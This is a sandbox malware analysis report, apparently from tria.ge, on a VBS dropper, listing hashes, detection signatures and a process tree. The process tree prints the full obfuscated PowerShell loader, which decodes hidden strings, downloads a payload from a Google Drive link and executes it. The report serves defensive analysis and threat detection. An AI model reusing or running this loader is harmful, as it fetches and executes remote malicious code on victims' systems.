Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Analysis

  • max time kernel
    93s
  • max time network
    114s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240412-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240412-enlocale:en-usos:windows10-2004-x64system
  • submitted
    17/04/2024, 02:08

General

  • Target

    be6861141aae063bbfe9ff385fdedcbb383b07cbacc2c61bb558a46e0f06bb58.vbs

  • Size

    361KB

  • MD5

    ae55f99323808b2185d1b56d56f6305b

  • SHA1

    d043a31f2a1c72cccc49f932f4c41abec7bf003d

  • SHA256

    be6861141aae063bbfe9ff385fdedcbb383b07cbacc2c61bb558a46e0f06bb58

  • SHA512

    21c6b411b4c14c9d02e58494a47a21aadd61f8ca370f4d90a58c9d4049204e1501d4d94913ed61d69489bb5339e3f11a399b93b987a28046fd3fde74c72447ec

  • SSDEEP

    6144:xwKLaVfs2VTA05zBWJKJqDv9WlmDg6bMiaNb3rczF9V4I5Btg/zRoFTC4vSUUkPe:u7InOiRxIl5x

Score
8/10

Malware Config

Signatures

  • Blocklisted process makes network request 3 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\be6861141aae063bbfe9ff385fdedcbb383b07cbacc2c61bb558a46e0f06bb58.vbs"
    1⤵
    • Blocklisted process makes network request
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:1952
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$Sansebedragets = 1;$Ghanesisk='Substrin';$Ghanesisk+='g';Function Gasterosteus($svinkerinde){$overbuild=$svinkerinde.Length-$Sansebedragets;For($Stereoradioen=7; $Stereoradioen -lt $overbuild; $Stereoradioen+=(8)){$Diffusionslinsers+=$svinkerinde.$Ghanesisk.Invoke($Stereoradioen, $Sansebedragets);}$Diffusionslinsers;}function Traeet($Wrizzled){& ($Thyges) ($Wrizzled);}$Smuldet=Gasterosteus 'Unr imbMstedmoroOplysnizdefinitiUnr.bbelIlan brlForbrusa Fremtt/Sundede5 Recurr.Kumenis0 vade t Fejlstr(RewedsuW PistiliAdularenl.ntiskdCleithroDyrkninw PhilolsLymphad Fores Nunpla.aTCurricu pongobl1sa,leld0Tsninge.Tugboat0Uns len; Plural Nyrens,WStt.masi yldresnHaemoth6Pupifor4Fyrstes;Lickert GaiterlxKommand6Selvher4 Pillet;grevers UnmumblrTrafikdvFollcus:Forplig1Israeli2Dif,ere1 Hankel.Undvrli0Udholde) Misc a F amencGSafeguaeInterb.cStorm tkCivilisoG.ntlem/ ackfli2.djutan0B.fingr1retinke0 Chorea0Tragica1.ftegni0Reexcav1Negroid GlaucolFbankledi reptilr EphemeeSalon.nfSlidse.oN.sleabxConnara/Fondsd,1Lygtema2L,kedri1Trstern.Svindsc0Afnakke ';$Indhfte253=Gasterosteus 'upontolU TassarsPansideeOxygenir Afrust-MedeospA.ksekutginexecueG vernmnAlveolat farina ';$Abnerval=Gasterosteus 'Layouteh .mbudst BaakertOccipitpBenedics inageg:Ureter,/Fosse,t/Morrissd Vickisr NonimpiB ldricvUnpoigneKo pera.g,eskabgRosentrogroundloArchspigScollo lSidega,emor,enp.EarthlicIntroduo SpadesmPenetra/Bortlbnu FlyveccIstemek?R,petiteShooingxNon.estpOv.rskuome,termrJugerentpretr.r=FluoryldHendersoOologiewMinisc nMedb,jllUhensigoR tgenbaRasterbd Spille&CuculariAbeyancdS evene=Ugrian 1BlomdecKVarmefrcRivetndZNedgrav9PentatrX DomorgGRabbiniBE,yptolrMishmibBMonoga 4stil.noR ,itadecBituminn Cor macPreexpeXVandcykC aintisCYalelaabIndbrndpCriticibdigitalm FrimndyBassistbdelomraLDerindaKOppriorv A,raabb MartinRFlingenyEma.cidBTo,itruwprenebuBTweetph ';$grcisering=Gasterosteus 'Milli,n>Hurl.le ';$Thyges=Gasterosteus 'IndervgiUrte eee CuyastxKnivafb ';$Brummekorenes = Gasterosteus 'Helsstee RavishcUnravishCalapp oHazanpy Inkwood%DornockaEatsuncpAlanintpRefor.adBoxbushaIllimittMiddelbaGaldest% R,barb\ AntistEChemisecOrganistdybels.r UlderaoantescrdPennigeaGejledecOpdatert non.etyKen sgelErklaeri Ko ogesredaktimInte.ra.FaneblaMChoripeiLedenesc ltrace Helfred& F.jlst&Supplem SamplereP.ritidcSupponwhDkningsoRepursu Fusib.y$ Begrib ';Traeet (Gasterosteus 'Harpesk$FlaglesgskovfollAfgrsnioLeiotrib SuperiaRallyislAn idep:ReinaldlArmekoryReprovemrr.angep Coelhoh Hyp,caoCoalbi,sForsknitRaph,epaCelle ysVa,ideri RivetesNdplans=Modtrks(KommerccUdt knim .orceldTilvkst Termofl/ bro,erchomeoch Bromids$.eregniBgnideb.rC oonesuKapitalmForestamVirksomebretw.lkSeptikto Thre drObservaeSmilacenUnconsieTppebans Afgift)Add.tam ');Traeet (Gasterosteus 'Gr,ndpr$ StenesgUngrayel MetodeopumaernbSte.epaaBlitzlal ,ncage:TabtypeaSpo.tenaChoristbTrontaleagelaiunBestridtMagnetivSvagfrhaEfterslnOtherdodS anonas I.dtrnbunmani y Faaers= Unblig$KommateA Skrdd bKontaktn LigesteSimioidrOsierlivOmbygniaBlokkryl Oldtid. DramamsBerigtip FremmelSubstitiPasseret Unsuff(Kr,emme$SlutspugOs illar UnderscWhisperiSlattersCe.terpendskrigrSen imei Brady n.usannegCamperi)Sadomas ');$Abnerval=$aabentvandsby[0];Traeet (Gasterosteus ' Postgi$Tingsvigretspril Outg,ooBattuecbfemalita HjaltelOverfor: GorgonOB dgetdu IsogentGstel.elRegnesteServiceaVedlgger.taxononcradl,r= efljnNbimpe.eeVikin,ewAfgifts-CannaceO bisquebIdeograjWienerne.orexgrcHud,esatSv.ngla .espectSFaktureyeftervesTwelftht.nalopoeHerniasmBarbe s. Sulk nN Slu nieBromidetYantra,.NeodymiW CompareSchuftebDodge sC fl,raalKarvgsfiHorsehaeC.estfinKdereaktGrovfod ');Traeet (Gasterosteus 'Tubife.$ SnableOBetonhouKnoglemtHaughtilKattepoeTro,seraUkollegrSankthanstyrtf .SemipenHSammenfeskeptika Incarcd Straale Rut,nerUnbothesAzy obr[Glasuld$tinglysIBogkrybnKronik dhamirosh,udiblefPraktictAyesbruetolvton2Stormag5Acrylic3 Divisi]arbejds=Afgifts$EnlargeSEfflresmKrmmereuDiskrimlPartikudYou.care Pant atForrang ');$Freen=Gasterosteus 'Nbcbor,OGenlivmuMult chtBirummelEnkeltpehypnoseaBordherrLeptothnFestmid.Syn.tigD,urifexoAfgrsniwmod.stenAfgr lslKommandoOutbleaaServiced Metho FRe ikteiIllusibl DetaileSliphal(Citrons$Pro ogrAMi.setsbU.dtogtnShovel.eInflexirFold oav MaltesaSp,rtstlfar eta, aramba$Man icaPOpserveaFlere.alHandskelDedesnoeSammenhdKom.andeDissona)Cibaria ';$Freen=$lymphostasis[1]+$Freen;$Pallede=$lymphostasis[0];Traeet (Gasterosteus ' uckibu$ SumenhgJordvrdlVid.obroAfkryd,b LuftvraIstandslOct.hed: CodeveT orlagoBuckerotDete,miaAm.nodilTarerins Te.msty BarrabsNailysttStraahaeSh malsmStrafraeOdourlerSepticinSnavsete Pundit= Hoflev(MedaljeT AfkorteSu.erads NaturitMargar.-Withi vP ummepa KamceetLacqueyhPostall Mondner$WhitepoP U.schianucleuslTientsil OutwiseMegametdDehydreeUa.lade)Chymeud ');while (!$Totalsystemerne) {Traeet (Gasterosteus 'slagord$gnis,spgTaljerilTracfn,oLuciliab,olygona addleslBlaatry:Doks.niU BornhonPrci,errDel,gereAliptteaEmersedsBuzzgloo DepresnGumf.eleIndfreldZonule 1D.centr4Apodema6Roleofo=Affdtem$TokronetUncupperCo.lbaguBdetakseBiogeog ') ;Traeet $Freen;Traeet (Gasterosteus 'Fac nglSAskepottSidelinaorkanerrR,refactLumbr c- GammelS Boutell SinapieMyst,queDogg.elpBorgme Afte wo4Church ');Traeet (Gasterosteus 'Breeche$ Aeromagtap.ehalSkeltonoTuxesflbWirelesaAfficerlNoncred:Ch.roptT HepatioMindelutDelikataB,idleslByna,nes efineyla.hemas ferritt Offsetevilia.smForkueleChlorinr,xsiccanSadomaseCor gen=Unsplit(GrammatTGavlhuseLachrymsDowntowtCounter-NaverboPM.ljbesaVelsesltProroguh Tokom Tidsvrd$ Aspir,PStamhusaAmbassalOplevedlVievan,e AmagerdIncisioeSlumres)missive ') ;Traeet (Gasterosteus ' Overes$udaan,igPantomel Memb,aoTandclabFehaareaR,nownelHaandev:stdtropAMegalerpNonesuceBalladrrC,emmint Perisp2 freu i1Palaeo,1Sa mens=Sexforb$Bissekrg Undem l Cymousoseem.rsbResteriaSamlevelOlefian: ArlasfEUnremitv,aggersaRolle.alProtot dPhelonisCharact+Nonprol+Masses,%Himatio$St.nhugaNo,connaK,nmiutbSnitta.ekoenindn,grestit TorsdavPrisindaValdemanRecivildPrsenspsVokskabbPolygamy Sygeb,..aiadalcTtysvrtosemiferuUde aernFdrelantTourtmi ') ;$Abnerval=$aabentvandsby[$Apert211];}Traeet (Gasterosteus 'Neopla,$ Magn.tgmyr,ngelCitizenoSpr grebfodermia Tulsiel Stedmo:.ammenhEmandor,nTryforfcSmuglero Sp ashm ,arfleiEpitafieMisquotn Una,cedRoseudtaraamatesImpecu. Flakker=Besudle FjerdepGColona.e UratomtNedprio-e,silerC ,ortrioVandtryn Brynj.tOverbakeTwentymnGes,urat Torl.i Sinecur$RvetapaPumyndigaKunosgrlInfrahyl .retrce Flu.sydAppretee Compar ');Traeet (Gasterosteus 'Kompagn$AconuregFreskomlMistendoMyzo,tobdanburya goni.slLaps.on:KelingyPPreorgaobrainstdInd lytaHakkebrl BocheriShinilyc Doohin malkema= Secern Defen,a[DhoorasSDisembaykvidistsBypla ltVitrioleDecubitmNon.las.Dineu,rCgennemkoTrallern oreimpvGafledeeStyrep.rteltslatUnrecko] Infide: Belysn:AltsaxoFStikflarKise.hooUnindusmH,matomBWhirrooa BnkerasUnsymmee,ncredi6Immorti4Pulvil,SFjendtltOutdater Bone riPelsdyrnPree ptgMilieuo( Stetho$advarseETidsprinRappen.cformedeoHyllep.mStoma hiSuperineFamilien.rupprpd antrusaWinds.rsSad.elt)Pulpitl ');Traeet (Gasterosteus 'Varmefy$IndlandgVirialslte minooTar iesb Underga A,onnelHumo.ri: KanalvSChilenst Skansei StargrkGeda keo Okays rAbnormidJollit e,drenaltVivanstsInforma Uncle,r=Dentipa Compl.[UnpreteS vaabenyTennisfsKnivsmetNap leoe andhanmMiljomr.Beli.geTInquilieTr.mperxIndigentlawsone. F.lderELex,caunBerigtic MonadioBiscuitdHarmoneiPratiqunHemmelig Over r]Partrid:A poggi:UenigerAUgideliSOpd.terCSrverskIChe.kinIEfter,d. SalariGtilsagde TangletDekuperSMedik.mt Needsmr LukreriAllemannTr.nsligInd sia(Mattere$FikseacPBeskudtoAbstrakdSphaeriaFderal.lGett bli Surficckampvog)Dialakt ');Traeet (Gasterosteus 'anticig$B.mareagHyleriel Fr.trdoBhut.vibfortjenaSlievovlRidotto:AffdejaOUnderslvLineniseShuntv.rU midigmDehor so Teks,prStrobosaAdin tylsekun ai TwistesCuckoldtKern.daiRund,ngcSpndesk=Krabb.n$SmmestiSVekselvtTheophiioverspakMirsasbohenholdrC,mpedrdse ianieforlb ttCentra.sUdlodre.Ondskabsgespensu Ri,efobBinomiasPharyngtP,oevekrMiljak,iHengavnnVlgernegDriftsb(Geratyt3Cl,bfis2Kardina8P,intke2 Para f1 Enspnd2U.licen,,jforrd3Slagteb0Omni,oq1Omsta,n4Uninocu7Antipy )Gelatin ');Traeet $Overmoralistic;"
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:3684
      • C:\Windows\system32\cmd.exe
        "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Ectrodactylism.Mic && echo $"
        3⤵
          PID:3320

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_0xrmpeli.jtz.ps1

      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    • C:\Users\Admin\AppData\Local\Temp\unrenouncing.txt

      Filesize

      7KB

      MD5

      fbb578f8128ac6d7843b0a28cd1d1fe2

      SHA1

      64129cd6657c88413cf2ce62ff4ebdf9e106e9ab

      SHA256

      7cfc23d47e625cffa90afbb28ac41a64cb18889330c432590479621358ac0fbb

      SHA512

      991a0f2bcbee1b114a3473e3958a7193d4d1be65d98b7a42fb08d4a846faec47ac557ab9183cb101a08085a461c0b50e972fffe2cf6ab4cf8877fbf8f399c81b

    • memory/3684-315-0x00007FFACAE00000-0x00007FFACB8C1000-memory.dmp

      Filesize

      10.8MB

    • memory/3684-306-0x0000023DD51F0000-0x0000023DD5212000-memory.dmp

      Filesize

      136KB

    • memory/3684-316-0x0000023DED8D0000-0x0000023DED8E0000-memory.dmp

      Filesize

      64KB

    • memory/3684-317-0x0000023DED8D0000-0x0000023DED8E0000-memory.dmp

      Filesize

      64KB

    • memory/3684-320-0x0000023DED8D0000-0x0000023DED8E0000-memory.dmp

      Filesize

      64KB

    • memory/3684-323-0x00007FFACAE00000-0x00007FFACB8C1000-memory.dmp

      Filesize

      10.8MB